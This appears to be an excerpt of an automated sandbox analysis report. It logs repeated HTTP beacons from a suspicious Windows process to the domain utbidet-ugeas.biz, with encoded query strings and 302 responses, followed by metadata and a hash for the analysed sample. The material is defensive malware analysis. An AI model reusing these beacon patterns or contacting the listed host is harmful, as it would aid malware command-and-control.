Sep 7, 2024 15:31:14.746318102 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:14 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C0717013C0717013F1715C13C071D2890257EC15C171B0BBC276463DF25F4921F0415E13 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.7	55251	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:14.753349066 CEST	201	OUT	GET /d/N?02C0717013C0717013F1715C13C071D2890257EC15C171B0BBC276463DF25F4921F0415E13 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:31:16.197858095 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:15 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C0717013C0717013F1715C13C071D2890257EC15C171B0BBC276463DF25F4921F0415E13 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 7, 2024 15:31:16.199189901 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:15 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C0717013C0717013F1715C13C071D2890257EC15C171B0BBC276463DF25F4921F0415E13 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 7, 2024 15:31:16.200536013 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:15 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C0717013C0717013F1715C13C071D2890257EC15C171B0BBC276463DF25F4921F0415E13 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 7, 2024 15:31:16.202851057 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:15 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C0717013C0717013F1715C13C071D2890257EC15C171B0BBC276463DF25F4921F0415E13 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.7	55253	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:16.332845926 CEST	169	OUT	GET /d/N?028FED2CA08FED2CA0BEED00A08FED8E3A4DCBB0A68EEDEC088DEA1A8EBDC31592BFDD02A0 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:31:16.829576015 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:16 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?028FED2CA08FED2CA0BEED00A08FED8E3A4DCBB0A68EEDEC088DEA1A8EBDC31592BFDD02A0 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.7	55254	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:16.835467100 CEST	201	OUT	GET /d/N?028FED2CA08FED2CA0BEED00A08FED8E3A4DCBB0A68EEDEC088DEA1A8EBDC31592BFDD02A0 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:31:17.329008102 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:17 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?028FED2CA08FED2CA0BEED00A08FED8E3A4DCBB0A68EEDEC088DEA1A8EBDC31592BFDD02A0 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.7	55256	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:17.629740953 CEST	169	OUT	GET /d/N?02389729C6389729C6099705C638978B5CFAB1B5C03997E96E3A901FE80AB910F408A707C6 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:31:18.141340971 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:18 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02389729C6389729C6099705C638978B5CFAB1B5C03997E96E3A901FE80AB910F408A707C6 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.7	55257	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:18.170609951 CEST	201	OUT	GET /d/N?02389729C6389729C6099705C638978B5CFAB1B5C03997E96E3A901FE80AB910F408A707C6 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:31:18.681360006 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:18 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02389729C6389729C6099705C638978B5CFAB1B5C03997E96E3A901FE80AB910F408A707C6 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.7	55259	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:19.357903957 CEST	169	OUT	GET /d/N?027E9D79297E9D79294F9D55297E9DDBB3BCBBE52F7F9DB9817C9A4F074CB3401B4EAD5729 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:31:19.865963936 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:19 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?027E9D79297E9D79294F9D55297E9DDBB3BCBBE52F7F9DB9817C9A4F074CB3401B4EAD5729 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	55260	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:19.872987032 CEST	201	OUT	GET /d/N?027E9D79297E9D79294F9D55297E9DDBB3BCBBE52F7F9DB9817C9A4F074CB3401B4EAD5729 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:31:20.387629986 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:20 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?027E9D79297E9D79294F9D55297E9DDBB3BCBBE52F7F9DB9817C9A4F074CB3401B4EAD5729 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	55262	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:21.176616907 CEST	169	OUT	GET /d/N?02F06C534AF06C534AC16C7F4AF06CF1D0324ACF4CF16C93E2F26B6564C2426A78C05C7D4A HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:31:21.685298920 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:21 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02F06C534AF06C534AC16C7F4AF06CF1D0324ACF4CF16C93E2F26B6564C2426A78C05C7D4A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.7	55263	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:21.693562031 CEST	201	OUT	GET /d/N?02F06C534AF06C534AC16C7F4AF06CF1D0324ACF4CF16C93E2F26B6564C2426A78C05C7D4A HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:31:22.222508907 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:22 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02F06C534AF06C534AC16C7F4AF06CF1D0324ACF4CF16C93E2F26B6564C2426A78C05C7D4A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.7	55265	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:24.823179007 CEST	169	OUT	GET /d/N?02A26F0661A26F0661936F2A61A26FA4FB60499A67A36FC6C9A068304F90413F53925F2861 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:31:25.308024883 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:25 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02A26F0661A26F0661936F2A61A26FA4FB60499A67A36FC6C9A068304F90413F53925F2861 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.7	55266	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:25.330987930 CEST	201	OUT	GET /d/N?02A26F0661A26F0661936F2A61A26FA4FB60499A67A36FC6C9A068304F90413F53925F2861 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:31:25.806225061 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:25 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02A26F0661A26F0661936F2A61A26FA4FB60499A67A36FC6C9A068304F90413F53925F2861 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.7	55268	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:33.007719994 CEST	169	OUT	GET /d/N?02DF332241DF332241EE330E41DF3380DB1D15BE47DE33E2E9DD34146FED1D1B73EF030C41 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:31:33.524542093 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:33 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02DF332241DF332241EE330E41DF3380DB1D15BE47DE33E2E9DD34146FED1D1B73EF030C41 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	55269	172.234.222.143	80

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:31:33.533019066 CEST	201	OUT	GET /d/N?02DF332241DF332241EE330E41DF3380DB1D15BE47DE33E2E9DD34146FED1D1B73EF030C41 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:31:34.025268078 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:31:33 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02DF332241DF332241EE330E41DF3380DB1D15BE47DE33E2E9DD34146FED1D1B73EF030C41 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Target ID:	0
Start time:	09:29:04
Start date:	07/09/2024
Path:	C:\Users\user\Desktop\Ey6iI0wxsf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Ey6iI0wxsf.exe"
Imagebase:	0x400000
File size:	89'785 bytes
MD5 hash:	DC293B8FD57A89BA2122CFD49DE8D111
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
